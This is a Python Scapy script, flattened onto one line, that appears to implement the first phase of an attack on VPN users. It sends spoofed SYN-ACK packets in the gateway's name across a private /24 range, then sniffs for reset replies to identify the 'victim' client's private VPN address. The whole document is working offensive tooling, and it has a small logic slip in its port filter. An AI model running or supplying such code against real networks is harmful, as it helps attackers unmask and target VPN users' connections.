#!/usr/bin/env python3 from scapy.all import * import ipaddress from threading import Thread, Event from time import sleep import os # # # # # Thread classes for sniffing # # Sniffer Class all grabbed from https://www.cybrary.it/0p3n/sniffing-inside-thread-scapy-python/ class Sniffer(Thread): def __init__(self, iface="en0"): super().__init__() self.daemon = True self.vpn_addr = None self.current_phase = 1 self.spoof_count = 0 self.spoof_port = 0 self.socket = None self.iface = iface self.stop_sniffer = Event() def run(self): self.socket = conf.L2listen( type=ETH_P_ALL, iface=self.iface, filter="ip" ) sniff( opened_socket=self.socket, prn=self.handle_packet, ) def join(self, timeout=None): self.stop_sniffer.set() super().join(timeout) def get_vpn_addr(self): return self.vpn_addr def set_phase(self, phase): self.current_phase = phase def check_for_req(self, packet): ip_layer = packet.getlayer(IP) # for phase 1 (on ubuntu 19) we wanna look for a reset # with source of private vpn address and dest of gateway if self.current_phase == 1: if "10." in ip_layer.src: if ip_layer.src == self.vpn_addr: print("multiple matches for: " + str(self.vpn_addr)) # could make the scan stop after this point but # only takes a second or two to finish up print("Victim private ip is: " + str(ip_layer.src)) self.vpn_addr = ip_layer.src def handle_packet(self, packet): #ip_layer = packet.getlayer(IP) #print("[!] New Packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst)) # if its not an SSH packet then check for challenge acks # if TCP in packet: tcp_sport = packet[TCP].sport tcp_dport = packet[TCP].dport if (tcp_sport != 2222 and tcp_dport != 2222) or (tcp_sport != 22 and tcp_dport != 22): self.check_for_req(packet) ############ def phase_one_spread(gateway_ip, dst_net, iface="en0", edst="08:00:27:5c:c9:d1", sport=50505, dport=443, flags="SA"): pieces = gateway_ip.split('.') src = pieces[0] + '.' + pieces[1] + '.' + pieces[2] + '.1'# should be gateway of LAN src = gateway_ip eth = Ether(dst=edst) tcps = TCP(sport=sport,dport=dport,flags=flags) # src and dst ports don't matter for ip in ipaddress.IPv4Network(dst_net + '/24'): print('{} to: {}'.format(flags, str(ip))) ip_pack = IP(src = src, dst = str(ip)) sendp(eth/ip_pack/tcps, iface=iface, count=2, verbose=0) print("\nFinished spreading to private address space.") def main(): if len(sys.argv) < 5: print("Usage:\n{} {} {} {} {} [{}] [{}]".format( sys.argv[0], "", "", "", "", "", "<>")) exit(-1) gateway_ip = sys.argv[1] vpn_net = sys.argv[2] iface = sys.argv[3] edst = sys.argv[4] if len(sys.argv) == 6: sport = int(sys.argv[5]) else: sport = 50505 if len(sys.argv) == 7: dport = int(sys.argv[6]) else: dport = 443 if len(sys.argv) == 8: flags = sys.argv[7] else: flags = "SA" sniffer = Sniffer(iface=iface) sniffer.start() ## Phase 1 - spread private address range passed in # sleep(.5) print("Scanning entire dest net " + str(vpn_net)) phase_one_spread(gateway_ip, str(vpn_net), iface=iface, edst=edst, sport=sport, dport=dport, flags=flags) vpn_addr = sniffer.get_vpn_addr() print('Completed phase one and found client has private VPN address: ' + str(vpn_addr) + '\n\n') if __name__ == '__main__': main()